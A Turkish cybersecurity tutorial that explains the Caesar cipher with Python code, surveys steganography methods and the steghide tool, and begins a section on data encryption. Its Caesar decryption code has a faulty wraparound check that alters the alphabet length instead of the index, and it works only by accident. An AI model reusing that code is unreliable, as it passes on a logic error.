* [RFC 5280 — Internet X.509 Public Key Infrastructure Certificate](https://datatracker.ietf.org/doc/html/rfc5280)
* [Internet Engineering Task Force (IETF) TLS Documentation](https://datatracker.ietf.org/wg/tls/about/)
* [OWASP Transport Layer Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)
* [NIST Cryptographic Standards and Guidelines](https://csrc.nist.gov/projects/cryptographic-standards-and-guidelines)
* [RFC 6960: Online Certificate Status Protocol (OCSP)](https://datatracker.ietf.org/doc/html/rfc6960)

{% embed url="<https://github.com/burkocyigit>" fullWidth="false" %}
Bu yazı Burak Koçyiğit tarafından hazırlanmıştır.
{% endembed %}


# Sezar Şifrelemesi

Sezar şifreleme algoritmasının tarihçesi oldukça ilginç ve uzun bir geçmişe sahip. Bu algoritma, MÖ 60-50 yıllarında Roma İmparatoru Jül Sezar tarafından devlet haberleşmesinde kullanılmıştır. Sezar şifreleme yönteminin algoritması oldukça basittir. Ana mesajda bulunan herbir harfi mesajda belirtilen anahtar sayısı kadar ileri götürülerek şifreli mesaj oluşturulabilir. Örneğin, “MERHABA” kelimesi “ÖĞTJÇDÇ” olarak şifreleniyor.

<figure><img src="/files/Ps4hl5an7TNfIk51nC8V" alt=""><figcaption></figcaption></figure>

Örnek; Sezar şifreleme algoritması için,

n= 3

Ham metin= Siber Vatan

Şifrelenmiş metin= Vlehu Ydwdq

<figure><img src="/files/jd5BoTtTP2IZRqsninJK" alt=""><figcaption></figcaption></figure>

Şimdi, Python ile Sezar şifreleme algoritmasını kodlayalım. Öncelikle, şifreleme işleminin nasıl çalıştığını inceleyelim.

```python
sifrelenecekmesaj = "sibervatan"
sifrelimesaj = ''

alfabe = "abcdefghijklmnopqrstuvwxyz"

boyut = len(alfabe)
key = 3

for i in sifrelenecekmesaj:
    for j in alfabe:
        if i == j:
            degistir = alfabe.index(j)
            degistir += key

            if degistir >= boyut:
                degistir -= boyut

            sifrelimesaj += alfabe[degistir]

print(f"Şifrelenmiş Mesaj: ", sifrelimesaj)
```

Genel anlamda kodun çalışma mantığına bakarsak Bu örnekte, öteleme değeri 3 olarak belirlenmiştir.

Kod, ilk olarak şifrelenecek mesajı, şifrelenmiş mesajın tutulacağı değişkeni, kullanılacak alfabeyi ve alfabedeki harflerin sayısını tanımlar. `sifrelenecekmesaj` değişkeni, "sibervatan" değerini içerirken, `sifrelimesaj` değişkeni başlangıçta boştur. `alfabe` değişkeni, küçük harflerden oluşan İngilizce alfabeyi içerir ve `boyut` değişkeni ise bu alfabenin uzunluğunu (26) tutar. `key` değişkeni, harflerin kaç pozisyon ötelenerek şifreleneceğini belirler ve burada 3 olarak ayarlanmıştır.

Daha sonra, şifrelenecek mesajdaki her bir harfi sırasıyla ele alan bir dış döngü başlatılır. İçteki döngü ise her harfi alfabe ile karşılaştırarak eşleşen harfi bulur. Eşleşme bulunduğunda, harfin alfabedeki indexi hesaplanır ve bu index, öteleme değeri kadar arttırılır. Eğer yeni index alfabenin uzunluğunu aşarsa, alfabenin başına dönmek için index, alfabenin uzunluğu kadar azaltılır. Bu işlem, alfabeyi döngüsel olarak kullanmamızı sağlar. Son olarak, öteleme yapılmış harf, şifrelenmiş mesajın tutulduğu `sifrelimesaj` değişkenine eklenir.

Tüm harfler işlendiğinde, şifrelenmiş mesaj ekrana yazdırılır. Bu kodu çalıştırdığınızda, "sibervatan" mesajı 3 harf ötelenecek ve şifrelenmiş mesaj "vlehuydwdq" olarak ekrana yazdırılacaktır.

Şimdi, Sezar algoritmasıyla şifrelenmiş bir metni çözmek için bir Python kodu yazalım.

```python
sifrelenmismesaj = "vlehuydwdq"
asilmesaj = ''

alfabe = "abcdefghijklmnopqrstuvwxyz"

boyut = len(alfabe)
key = 3

for i in sifrelenmismesaj:
    for j in alfabe:
        if i == j:
            degistir = alfabe.index(j)
            degistir -= key

            if  boyut>= degistir:
                boyut +=  degistir

            asilmesaj += alfabe[degistir]

print(f"Çözülen Mesaj: ", asilmesaj)
```

Kod, şifrelenmiş mesajdaki her harfi sırasıyla ele alan bir dış döngü başlatır. İçteki döngü ise her harfi alfabe ile karşılaştırarak eşleşen harfi bulur. Eşleşme bulunduğunda, harfin alfabedeki indexi hesaplanır ve bu index, öteleme değeri kadar azaltılır. Eğer yeni index negatif bir değere düşerse, alfabenin sonuna dönmek için `degistir` değeri alfabenin uzunluğu kadar artırılır.

Sonuç olarak, her öteleme yapılmış harf `asilmesaj` değişkenine eklenir. Tüm harfler işlendiğinde, çözülen mesaj ekrana yazdırılır. Bu kodun düzeltilmiş hali ile "vlehuydwdq" mesajı çözüldüğünde orijinal mesaj "sibervatan" olacaktır.

İnternet üzerinde pek çok web sitesi ve araç, Sezar şifrelemesini otomatik olarak yapmanızı sağlar. Bu araçlar, kullanıcı dostu arayüzleri sayesinde, şifrelenecek metni ve öteleme değerini (anahtar) girdikten sonra, anında şifrelenmiş veya çözülmüş metni size sunar. Bu sayede, herhangi bir programlama bilgisine sahip olmadan da Sezar şifrelemesinin temel prensiplerini öğrenebilir ve uygulayabilirsiniz. Örneğin boxentriq.com sitesinde sezar algoritmasını deneyelim.

<figure><img src="/files/i1MQZoI0dzK2i2AjYOSZ" alt=""><figcaption></figcaption></figure>

Siteyi ziyaret ettiğimizde, karşımıza basit ve kullanışlı bir arayüz çıkıyor. İlk olarak, şifreleme işlemi için bir anahtar (key) değeri belirlememiz gerekiyor. Bu değer, metnimizin kaç harf ötelenerek şifreleneceğini veya çözüleceğini belirler. Ardından, kullanmak istediğimiz alfabeyi seçip şifreleme veya şifre çözme işlemini kolayca gerçekleştirebiliriz.

<figure><img src="/files/wLZ2BiztSR6CsGh5x6pH" alt=""><figcaption><p>Örnek Kullanım</p></figcaption></figure>

Günümüzde kriptografi, dijital güvenliğin temel taşıdır. İnternet üzerinden yapılan finansal işlemlerden kişisel verilerin korunmasına kadar her alanda şifreleme teknikleri kullanılmaktadır. Modern şifreleme yöntemleri arasında hash fonksiyonları, dijital imzalar ve açık anahtarlı şifreleme gibi karmaşık algoritmalar bulunmaktadır. Bu teknikler Sezar’ın basit alfabesel kaydırmasından çok daha ileri bir güvenlik seviyesi sunar.

### Dezavantajları

Bu yöntem, o dönemdeki düşman casuslar için anlaşılması zor bir engel oluşturuyordu. Ancak zamanla sezar şifrelemesi, dilin yapısını ve harflerin sıklığını analiz eden dikkatli gözler için çözülebilir hale geldi. Bu, kriptografinin evriminde önemli bir dönüm noktası ve daha karmaşık şifreleme tekniklerinin geliştirilmesine zemin hazırladı.

-> Kaba kuvvet (brute-force) saldırısıyla çok kolay çözülür. Çünkü Şifreleme/Şifre çözme yöntemi gizli değildir.

-> Sadece 25 (temel Latin alfabesi harf sayısı) farklı deneme yeterlidir. (Anahtar uzayı 25 elemanlıdır.)

-> Şifrelemede; kullanılan alfabenin toplam harf sayısından ancak 1 eksik kadar ileri veya geri alınma tekniği uygulanabilir. Örneğin Türk alfabesi ise 28 ileri veya geri alınabilir. 29 ileri veya geri alınması aynı harfin tekrar denk gelmesini sağlar. Bu da şifrelenecek metnin şifrelenememesine yol açar.

-> Deşifre sırasında; şifreli metin üzerine istenildiği kadar ileri veya geri harf sıralaması uygulanırsa uygulansın mutlaka karmaşık harf diziminden anlamlı sözcük olan, kısacası şifrelenmiş metin kolayca ortaya çıkacaktır.

-> Düz metin (plaintext) ve formatı gizli değildir.

-> Temel Latin alfabesi için harf değiştirme şifrelemelerinde toplam 26! farklı şifre tablosu vardır.

Sezar şifrelemesi, günümüzdeki şifreleme tekniklerinin atası olarak kabul edilir ve kriptografinin tarihindeki yerini korumaktadır. Bilgi güvenliğinin önemi her geçen gün artarken, Sezar’ın antik yöntemi, dijital çağın karmaşık şifreleme tekniklerine ilham veren bir miras olarak anılmaya devam edecektir.

{% embed url="<https://github.com/ilkerbingoll59>" %}
Bu yazı İlker Bingöl tarafından hazırlanmıştır.
{% endembed %}


# Steganografi

Steganografi, gizli mesajları içeren bilgilerin başkaları tarafından fark edilmeden saklanması ve iletilmesi sanatı ve bilimidir. Bu uygulamanın tarihçesi oldukça eskiye dayanır ve çeşitli kültürlerde farklı yöntemlerle kullanılmıştır.

<figure><img src="/files/oHnHvM2oHOGcpsmA9Mwv" alt=""><figcaption></figcaption></figure>

İlk steganografi örnekleri, Antik Yunanistan'a kadar uzanır. Tarihçi Herodot, düşmanların mesajlarını gizlemek için bir kölenin kafasının tıraş edilip kafa derisine mesajın yazılması ve saçlar tekrar uzadıktan sonra mesajın iletilmesini anlatır.

Steganografi kelimesi, Türkçeye Yunancadan geçmiştir. Yunanca "στεγανός" (steganos) kelimesi "örtülü" veya "gizli" anlamına gelir ve "γραφή" (graphē) kelimesi ise "yazı" anlamını taşır. Bu iki kelimenin birleşmesiyle oluşan "steganographia" terimi, "gizli yazı" anlamına gelir.

Steganografi konusundaki çalışmalar ilerledikçe bu konuya özel bazı terminolojiler de gelişti.

Gizlenecek mesajın içine saklanacağı veri “cover” yani örtücü ya da “carrier” yani taşıyıcı olarak adlandırılmaktadır.

Bazı kaynaklarda “host” yani “barındırıcı” olarak da adlandırılmıştır.

Taşıyıcı verinin içine mesaj saklama ise “embedding” yani “gömme” veya “içine yerleştirme” olarak adlandırılır.

İçine gizli mesaj yerleştirilmiş veriye ise “stego” denilmektedir.

Stego, taşıyıcı dosya ile gizlenecek verinin toplamına eşittir. Stego herhangi bir yolla alıcıya ulaştırılır. Alıcı veri saklama algoritmasının tersi olan bir işlemle gizli veriyi, anahtarı da kullanarak ortaya çıkarır.

-> ilker.bmp dosyasının içine bingöl.txt dosyasını saklayacak olalım.

-> Sonuçta ilkerbingöl.bmp gibi bir dosya oluşacak olsun. Burada ilker.bmp dosyası taşıyıcı, bingöl.txt dosyası gizli veri, ilkerbingöl.bmp dosyası ise stego dosya olmaktadır.

<figure><img src="/files/gCGi8pw9DMwOgyI6DVYe" alt=""><figcaption></figcaption></figure>

Steganografik bir algoritma incelenirken 3 temel unsur göz önüne alınmaktadır:

• Değişimin fark edilememesi

• Saklanabilecek veri miktarı

• Dayanıklılık

Resim üzerinde gerçekleştirilen değişiklikler insan gözü tarafından algılanmamalıdır. Aksi durum, birinci ilkenin ihlali ve gizli iletişimin ortaya çıkmasıyla sonuçlanacaktır. Öte yandan iletişim her ne kadar gizli de olsa üçüncü bir kişinin içerisinde gizli veri olan dosya üzerinde bazı işlemler yapma olasılığı vardır. Steganografik yöntemin bazı sınırlar içerisinde de olsa bu tür saldırılara karşı belli bir dayanıklılık sergilemesi gerekir. Steganografik algoritmalarda sağlanmak istenen, yüksek miktarda gizli verinin saklanabilmesidir. Maalesef, var olan algoritmaların tüm bu koşulları tam olarak sağlayamadığı bir gerçektir. Daha da kötüsü, bu koşullar arasında ciddi ikilemler vardır.

Taşıyıcı içerisine yüksek miktarda veri gömebilmek istenilen bir özelliktir. Ancak, veri miktarı arttıkça resim üzerindeki değişim insan gözüyle algılanabilecek sınırlara ulaşabilmektedir. Bu da kapasite ve değişim arasında bir ikilem yaratmaktadır. Yine benzer şekilde gömülen gizli verinin yapılan saldırılar sonucunda bile alıcı tarafında başarıyla çıkartılabilmesi için düşünülen dayanıklılığı arttırıcı önlemler ve/veya yöntemler yapılması gereken işlem miktarını arttırmakta ve yine dosya üzerinde yapılan değişimi belli edebilecek seviyeye ulaşabilmektedir.

Resim içine gizlenmiş bir metin;

<figure><img src="/files/qLRDEPaqu7x0oucLqggp" alt=""><figcaption></figcaption></figure>

Resim içine gizlenmiş bir resim;

<figure><img src="/files/cdjsL2pcm771RzVn5NRx" alt=""><figcaption></figcaption></figure>

Bu örneklerden de anlaşılacağı üzere masum görünen resimlerin çok da masum olmadığı.

Tüm bu koşullar ve ikilemler dâhilinde her türlü saldırıya göğüs gerebilecek bir algoritma henüz yayınlanmamıştır. Ancak, çeşitli düzeydeki ihtiyaçlar doğrultusunda önerilen algoritmalar başarılı olarak kullanılabilir.

### Kriptoloji ile Farkı

Steganografi ile kriptografi arasındaki fark aslında çok açıktır: kriptoloji de iki nokta arasında gizli bir iletişim olduğu bilinir fakat steganografide, tanımı gereği, arada gizli bir iletişim olduğu görülemez. Steganografi ve kriptografi farklı konuları hedeflemiş olmalarına rağmen, güvenli bir iletişim için her ikisi birden kullanılmaktadır. Yani steganografi ile kriptografi birbirinin alternatifi değil tamamlayıcısıdır. Kriptografide aradaki şifrelenmiş mesaj okunursa sistem kırılmış demektir. Fakat steganografide durum biraz daha farklıdır. Sistemin kırılabilmesi için önce gizli verinin varlığının tespit edilmesi, sonra da gizlenmiş verinin doğru bir şekilde yeniden oluşturulması gerekmektedir.

Steganografi ile kriptografinin birlikte kullanıldığı bir sistemin kırılması içinse öncelikle gizli verinin varlığının tespit edilmesi, daha sonra saklanmış verinin doğru bir şekilde çıkartılması ve en sonunda da çıkartılan bu şifrelenmiş verinin çözümlenmesi gerekmektedir. Bundan da anlaşılabileceği gibi steganografi ve kriptografi kullanan bir sistem 3 katmanlı bir güvenlik yapısına sahip olmaktadır.

Fidye yazılımı çeteleri ve diğer tehdit aktörleri bir hedefe saldırırken genellikle bilgileri gizlediğinden steganografi, siber güvenlikle ilgilidir. Örneğin verileri gizleyebilir, kötü amaçlı bir aracı saklayabilir veya komuta ve kontrol sunucuları için talimatlar gönderebilirler. Tüm bu bilgileri zararsız görünen görüntü, video, ses veya metin dosyalarına yerleştirebilirler.

### Steganografik Yöntemler

“Metin”, “resim”, “ses”, “html gibi farklı sayısal materyalin varlığı çeşitli yöntemlerin geliştirilmesine neden olmuştur. Bu yöntemler ya insanın görme sistemini Human Visual System ya işitme sistemini Human Audotary System ya da veri formatındaki gereksiz bölümleri istismar ederek çalışırlar. Örneğin bitmap resim dosyasına veri saklarken görme sisteminin ayırt edemeyeceği farklılıklar yapılarak saklama işlemi yapılır. Wav dosyasına veri saklanırken insan kulağının fark edemeyeceği sınırlarda değişim gerçekleştirilir. Bir exe dosyasına veri saklanırken ise aynı işlevi gören farklı komutların varlığından yararlanılmaktadır.

### Resim İçerisine Veri Saklama

Şu ana kadar resim içerisine veri saklama konusunda birçok çalışma yapılmıştır. Bu çalışmalarda jpeg formatındaki resimler içerisine, gri seviyeli Bitmap resimler içerisine, siyah-beyaz resimler içerisine, LSB modifikasyonu, dönüştürme tekniği, maskeleme ve filtreleme gibi yaklaşımlarla veri saklama bunlara verilebilecek örneklerdir. Bu yöntemler alt başlıklarda sırasıyla açıklanacaktır.

#### LSB (Least Significant Bit) Modifikasyonu ve Bitmap İçerisine Veri Saklama

LSB modifikasyonu steganografide kullanılan en basit ve en yaygın yöntemdir. Mesaj resmi oluşturan piksellerin son bitlerini değiştirerek saklanır ve sonuçta oluşan resim orijinalinden görsel olarak ayırt edilemez. Veri ardışık olarak saklanabileceği gibi bir anahtar yardımıyla rastgele olarak seçilen piksellere de saklanabilir.

<figure><img src="/files/FEQN634VxLD8aAC9dVA3" alt=""><figcaption></figcaption></figure>

Şekil ’den de görülebileceği gibi bilgisayar açısından bir Bitmap resim dosyası piksellerin ışık değerlerini ifade eden iki boyutlu bir sayılar dizisidir. Yaygın olan resim boyutu 640x480 piksel ve 256 farklı piksel rengiyle oluşturulan resimlerdir. Sayısal resimler genel olarak 8, 16 veya 24 bitlik piksellerden oluşur. 24 bitlik piksellerden oluşan resimler en fazla veri saklayabilen resimlerdir. Bütün renk değerleri kırmızı, yeşil ve mavi (RGB) renklerin tonlarının karışımından elde edilir. Temel renklerin her biri bir byte büyüklüğünde değerle ifade edilir ve 256 şar farklı renk tonuna sahiptir.

<figure><img src="/files/lA8UNC1QDWxv221LIMFW" alt=""><figcaption></figcaption></figure>

24 bitlik bir resmin her bir pikseli 3 ana rengi ifade eden 3 byte boyutundaki piksellerden oluşur. 1024x768 boyutundaki 24 bitlik bir resim dosyasında her bir byte değerinin en az önemli bitleri veri saklama için kullanılsa toplam saklanabilecek veri boyutu:

1024x768x3/8 = 294912 (2.3) byte olmaktadır.

LSB modifikasyonu insan görme sisteminin küçük değişimleri ayırt edememesini kullanma mantığına dayanmaktadır. En az önemli bitlerine veri saklanan bir Bitmap resim dosyası orijinalinden görsel olarak farksız olmaktadır. Pikselleri oluşturan byte değerlerindeki değişimin oluşturduğu etki göz tarafından fark edilememektedir. Çalışmalar göstermiştir ki, sadece LSB değil, 4. seviyeye kadar ki bit değerlerinin modifikasyonu steganografide şeffaflığı bozmadan veri saklamak için başarılı bir şekilde uygulanmaktadır.

Resim içerisine LSB modifikasyonu ile veri saklamaya ilişkin aşağıda bir örnek verilmiştir. Saklanacak olan 9 bitlik bir verinin aşağıdaki bit değerlerinden oluştuğunu varsayalım:

1-1-0-1-0-0-1-1-0

Taşıyıcı resim dosyası ise 24 bitlik bir Bitmap resmi olsun. Bu durumda saklanacak olan mesajı barındırmak için 3 piksel yani 9 byte değerinin son bitleri yeterli olacaktır. Taşıyıcı dosyanın veri barındıracak olan piksellerinin en az önemli bitlerinin sırasıyla şu şekilde olduğunu varsayalım:

0-1-0-0-1-1-0-1-1

LSB modifikasyonundan sonra bu piksellerin en az önemli bitlerinin değerleri şu şekilde olacaktır:

1-1-0-1-0-0-1-1-0

Görüldüğü gibi 9 bit değerinin 6 tanesi (altı çizili olanlar) değişmiştir ancak bu tür değişimler görsel olarak ayırt edilebilir olmamaktadır. Geri getirme işleminde yeni piksel değerlerinin en az önemli bitleri sırayla okunup yan yana dizildiğinde saklanan mesaj doğru bir şekilde elde edilecektir.

### Dönüştürme Tekniği ve Jpeg Resimlerine Veri Saklama

Dönüştürme tekniği (transformation), dönüştürme alanına (transformation domain) ait katsayı değerlerinin bitlerinin modifikasyonu ile gerçekleştirilir. AKT (Ayrık Kosinüs Transformasyonu) jpg resimlerinde kullanılan dönüştürme yöntemidir. Dönüştürme yöntemiyle veri saklama, resmin önemsiz alanlarında saklama yaptığından steganaliz ataklarına karsı daha sağlam olduğu değerlendirilebilir. Dönüştürme tekniğiyle resim içerisine veri saklama jpeg formatındaki resimler için aşağıdaki bölümde daha detaylı açıklanmıştır.

Resimler sayısal iletişimde sıklıkla kullanılan bir medya tipidir. İnternette en çok kullanılan resim türü jpeg resimleridir. Bitmap resimleri sıkıştırma kullanmayan resimlerken jpeg türü resimlerde kayıplı sıkıştırma işlemi gerçekleştirilmektedir. Veri saklama işlemi ise sıkıştırma esnasında gerçekleştirilmektedir.

Sıkıştırma esnasında jpeg resmi 8x8’lik bloklara bölünür ve her bir blok üzerinde AKT dönüştürme işlemi gerçekleştirilir. Nicemlemeye tabi tutulan bu katsayılar daha sonra Run-Length ve Huffman kodlama teknikleriyle kodlanır. Nicemleme (quantization) sonrası oluşan AKT katsayılarının en az önemli bitleri veri saklamak için kullanılabilir. Bu katsayılardaki yapılan değişiklikler resmin piksel değerlerini doğrudan etkilemediğinden oluşan değişim görsel açıdan ayırt edilemez. Bu durum jpeg resimlerini Bitmap resimlerine göre steganaliz ataklarına daha dayanıklı kılmakta ancak saklama kapasitesi Bitmap resimle kıyaslandığında çok düşük kalmaktadır. Jpeg resimleri üzerinde veri saklama algoritması gerçekleştiren çalışmaların neredeyse tamamı büyük oranlı saklama kapasitesine sahip değildir.

### Maskeleme ve Filtreleme

Maskeleme ve filtreleme yönteminde resmin, resim işleme teknikleri kullanılarak veri saklamaya en uygun alanları belirlenir ve saklama işlemi bu bölgelerde gerçekleştirilir. Genellikle 24 bitlik gri seviyeli resimlerde başarılı olan bir yöntemdir.

### Ses İçine Veri Saklama

Resim dosyalarına benzer şekilde ses içerisine veri saklama yöntemleri de insan işitme sisteminin zayıflıklarını kullanmaktadırlar. 2000’li yılların basından itibaren ses içerisine veri saklama çok popüler hale gelmiştir. Ses dosyaları da steganografi uygulamalarında veri saklama amacıyla kullanılabilmektedir. Bu konuda yapılan çalışmalarda genelde dönüştürme teknikleri ve LSB modifikasyonu gibi yöntemler kullanılmıştır. İnsan işitme sistemi çok geniş ve dinamik bir yelpazede islediği için ses sinyalleri içerisine veri saklamak özellikle zordur.

Ses içerisine veri saklama yöntemleri düşük bit kodlaması (Low Bit Encoding), faz kodlaması (phase coding), yayılmış spektrum (spread spectrum) ve yankı veri saklaması (echo data hiding) olarak sınıflandırılmaktadır. Düşük bit kodlaması, ses örneklerinin son bitlerinin saklanacak veriye göre değiştirilmesi yani LSB yöntemidir. Sesin analog ortamlara girmeksizin, tamamen sayısal ortamlarda transferi durumunda kullanılabilir. Faz kodlamasında ses dosyası bölümlere (segment) ayrılmakta ve bölümlere ait faz değeri, veriyi saklayacak şekilde yeniden oluşturulmaktadır. Bu yöntem resim içine veri saklama yöntemlerinden dönüştürme tekniğine benzemektedir. Yayılmış spektrum yönteminde sese ait frekans spektrumu üzerinde veri gizlenmektedir. Bu yöntemde seste gürültüler oluşabilir. Yankı veri saklaması yönteminde ise ses sinyali üzerine yankı eklenmekte ve yankının farklı gecikme değerleri kodlanarak veri saklanabilmektedir.

<figure><img src="/files/zxMZLS41vDlH2yXdJLRg" alt=""><figcaption></figcaption></figure>

Wav ve mp3 dosyaları sayısal ortamda en sık kullanılan ses dosyalarıdır. Aşağıdaki bölümlerde bu dosya türleri içerisine veri saklanmasının ayrıntıları yer almaktadır.

### WAV Dosyaları İçerisine Veri Saklama

WAV dosyaları sayısal iletişimde sıklıkla kullanılan ses dosyası türlerinden biridir. Windows WAV dosyaları 8 veya 16 bitlik yani 1 veya 2 byte büyüklüğündeki değerlere sahip ses örneklerinden oluşmaktadır. Ses örnekleri, doğası gereği, ses dalgasının belli bir andaki yaklaşık tahmini değerini ifade etmektedir. Bu durum ses örneklerinin en az önemli bitleriyle oynama imkânı vermektedir.

### Mp3 İçerisine Veri Saklama

Mp3 dosyaları kullanımı giderek yaygınlaşan sıkıştırılmış ses dosyalarından birisidir. Boyutunun küçük olabilmesi nedeniyle steganografik uygulamalar için uygun bir taşıyıcı dosya türüdür. Mp3 dosyaları içerisine veri saklayabilen az sayıda uygulama mevcuttur. Bunların en bilineni Mp3Stego yazılımıdır. Bu yazılım sıkıştırma esnasında Mp3 dosyaları içerisine veri saklayabilmektedir.

### Metin İçine Veri Saklama

Metin içerisine beyaz boşluklar kullanılarak veri saklanabilmektedir. Bu şekilde 3 ayrı yöntem kullanılmaktadır. Birinci yöntemde, her sonlandırıcı karakterin sonuna bir veya iki boşluk bırakarak kodlama gerçekleştirilir. İkinci yöntemde ise satır sonlarına boşluk bırakılarak kodlama yapılmakta ve veri saklanmaktadır. Üçüncü yöntemde de metnin sağa yaslanmasıyla oluşan boşlukların kodlanmasıyla veri saklama işlemi gerçekleştirilmektedir. Metin içerisine veri saklama yöntemleri bunlarla sınırlı değildir. Örneğin bir metindeki kelimeler, ilk harfleri yan yana geldiğinde anlamlı bir mesaj oluşturacak şekilde sıralanarak da mesaj saklanabilir. Örnek olarak, Alman bir casusun İkinci Dünya Savaşı’nda kullandığı şifreli metni inceleyelim:

“Apparently neutral’s protest is thorougly discounted and ignored. Isman hard hit. Blockade issue affects Pretext for embargo on by products, ejecting suets and vegetable oils.”

Her kelimenin ikinci harfini birleştirerek mesajını iletmiş:

“Pershing sails from NY June .”

### HTML İçerisine Veri Saklama

En basit olarak, HTML ile yazılan web sayfalarının kaynak kodları arasına web tarayıcılar tarafından gösterilmeyen yorum satırları eklenerek gizli mesaj gizlenebilir. Ancak bu metot gizli mesajın açık olması güvenlik problemi teşkil etmektedir. İlgili mesajın gözden kaçırılmasını sağlayacak farklı alternatiflerin düşünülmesi bu noktada büyük önem arz etmektedir. HTML kodları içerisine sıklıkla kullanılan “src, width, height, alt, title, border, bgcolor, href” gibi anahtar ifadelerin ardı sıra gelme kombinasyonlarının anlamlandırılması ile ikili bilgilerin gizlenmesi yaklaşımı da etkili olup, ilk bakışta gizli mesajın tespit edilmesi ihtimalini ortadan kaldırmaktadır.

Aşağıdaki HTML taglarının yerleri kodlanır ve bilgi gizleme işlemi gerçekleştirilir. Bu yapılarda biri ‘1’ diğer ‘0’ olarak kodlanır.

```html
<span class=”bigText” style=”color:#0088ff”>
               Text with a CSS class and special color
</span>
<span style=”color:#0088ff” class=”bigText”>
               Do you see the diffrence?
</span>
```

Kurallar şu şekilde tanımlanabilir:

```python
if( class-attribute before style-attribute){
               the tag encodes a “1”-bit
}
else{
               the tag encodes a “0”-bit
}
```

### Çalıştırılabilir (EXE) Dosyalar İçerisine Veri Saklama

Aynı işlevi gören komutların varlığından faydalanılarak, çalıştırılabilir dosyalar içerisine de veri saklanabilmektedir. Hydan isimli program i386 komut setindeki tekrarlardan faydalanarak 1/110 kapasiteyle bir mesajı bir uygulama içerisine saklayabilmektedir.

### Steganografi Araçları

İnternet aracılığı ile açık kaynak kodlu, direkt çalıştırılıp uygulanabilen, serbest kullanım lisanslı ya da ücret karşılığı lisanslı olmak üzere birçok veri gizleme aracına ulaşılabilir. Her aracın kullandığı algoritmalar, desteklediği dosya uzantıları farklıdır. Bu blog yazısında, internette var olan bütün veri gizleme araçlarını incelemek, nasıl kullanıldıklarını anlatmak tercih edilmemiş, yerine en çok kullanılan, açık kaynak lisansa sahip iki tane araç tanıtılmıştır. Kullanıcının nasıl bir veri gizleme ihtiyacına göre ve hangi kapak dosya kullanacağına uygun olarak en uygun yazılımı kendisinin internet ortamında bulup kullanması tavsiye edilmektedir.

Günümüzde birçok steganografik yöntem bulunmaktadır. Bir steganografik yöntem değerlendirilirken dayanıklılık-kapasite ve taşıyıcıdaki değişim–kapasite arasında ikilemler söz konusudur. Kapasite arttıkça dayanıklılık azalacaktır. Yine aynı şekilde kapasite miktarı arttıkça taşıyıcı ortamdaki değişimler artacaktır.

Steghide Kullanımı

Steghide, birçok çeşit resim ve ses dosyasının içine veri saklamamıza yarayan bir steganografi programıdır. Bir gizleme işlemine tabi tuttuğunuz zaman bir parola da belirleyebilirsiniz. Bu sayede data direk extract edilemez.

Steghide özellikleri:

-> Saklanmış data sıkıştırma

-> Saklanmış data şifreleme

-> Saklanmış veri bütünlüğünü sağlamak için doğrulama kodu yerleştirme

-> JPEG, BMP, WAB ve Au dosya uzantılarını desteklemek.

Kurulumu:

Linux’da dağıtımınızın deposundan kolaylıkla kurabilirsiniz, eğer ki dağıtımınızın deposunda bulunmuyorsa internet adresinden uygun paketi indirebilirsiniz.

Kullanımı:

Veriyi saklamak için, Aşağıdaki örnek kullanımı temsil etmektedir.

```sh
$ steghide –embed -ef (saklanacak_veri) -cf (içine_gomulecek_dosya) -p (sifre) -sf (oluşturulacak_dosya_adi) -e (sifreleme_metodu) -z (sıkıştırma_derecesi) -v (verbose - ayrıntılar)
```

<figure><img src="/files/2jLLoS6kCJBdQAwr9hTZ" alt=""><figcaption></figcaption></figure>

Veriyi kontrol etmek için:

```sh
$ steghide –-info (kontrol_edilecek_dosya) -p (sifre)
```

<figure><img src="/files/4TfxNH3mkErCUNWBKv0F" alt=""><figcaption></figcaption></figure>

Veriyi açmak için:

```sh
$ steghide –extract -sf (sifrelenmis_dosya) -p (sifre) -xf (oluşturulacak_dosya_adi) -v (verbose-ayrintilar)
```

<figure><img src="/files/ZIpvHkwCumDNk51LWh9O" alt=""><figcaption></figcaption></figure>

Diğer araçlar:

-> OpenStego

-> OutGuess 0.2

-> Snow

-> GifShuffle

-> MP3Stego

-> Hydan

-> TürkSteg

### Steganaliz

Steganografinin gelişmesine paralel olarak gelişen diğer biri bilim dalı ise steganalizdir. Steganalizin amacı ise steganografinin tam tersine bir resim, ses veya herhangi bir dosyadaki gizlenmiş verinin varlığını ortaya çıkarmaktır. Steganaliz orijinal objelerle stego objeler arasındaki ayrımı tespit etmek üzere tasarlanmış teknikler bütünü olarak ifade edilmektedir.

Steganaliz çalışmalarının temelinde saklanan verinin taşıyıcı nesne üzerinde bir takım parmak izleri bıraktığı düşüncesidir. Yani saklama işlemi sonrasında oluşan stego nesne görsel, işitsel veya işlevsel olarak orijinalinden ayırt edilemez olsa da istatistiksel olarak farklılıklar taşıyabilmektedir.

Gizli mesajın varlığının tespit edilmesi, mesajın uzunluğunu tahmin edilmesi ve gizli verinin tamamen ortaya çıkarılması konuları steganalizin sahasına girmektedir. Steganografik uygulamalara karsı geliştirilen steganaliz ataklarından bazıları şunlardır:

-> Stego dosyanın bilindiği atak (stego-only)

-> Tasıyıcı dosya ile stego dosyanın ikisinin de bilindiği atak (known cover)

-> Saklı bir mesajın bilindiği atak (known message)

-> Algoritma ve stego dosyanın bilindiği atak (chosen stego)

-> Algoritma ve saklı bir mesajın bilindiği atak (chosen message)

Steganografide kullanılan saklama algoritmasına ihtiyaç duyulmaksızın evrensel tespit yapabilen steganaliz çalışmalarının sayısı artmaktadır. ANNTS (Artificial Neural Network Technology for Steganalysis) isimli projede de yapay sinir ağları kullanılarak dijital resimler istatistiksel olarak analiz edilip saklı bir veri olup olmadığının evrensel olarak tespit edilmesine çalışılmaktadır.

{% embed url="<https://github.com/ilkerbingoll59>" %}
Bu yazı İlker Bingöl tarafından hazırlanmıştır.
{% endembed %}


# Veri Şifreleme (Data Encryption)

Siber güvenlikte şifreleme, verilerin okunabilir bir biçimden şifreli bir biçime dönüştürülmesidir. Şifrelenmiş veriler yalnızca şifresi çözüldükten sonra okunabilir.

**Şifreleme**, veri güvenliğinin en önemli noktasıdır. Bir bilgisayar sisteminin verilerinin çalınmamasını ve kötü amaçlar için kullanılmamasını temel tekniğidir.

**Veri şifrelemesi**, bireysel kullanıcılar ve büyük şirketler tarafından, bir tarayıcı ve sunucu arasındaki veri iletimini, kullanıcı bilgilerini gizlemek amacıyla sıkça kullanılır. Bu bilgiler ödeme bilgilerinden kullanıcı bilgilerine birçok çeşit bilgi içerebilir. Veri şifreleme algoritmaları yoğun matematik ve bilgi işlem gücü ile tasarlanır.

* **Şifreleme :** Bir verinin gizleme biçimi.
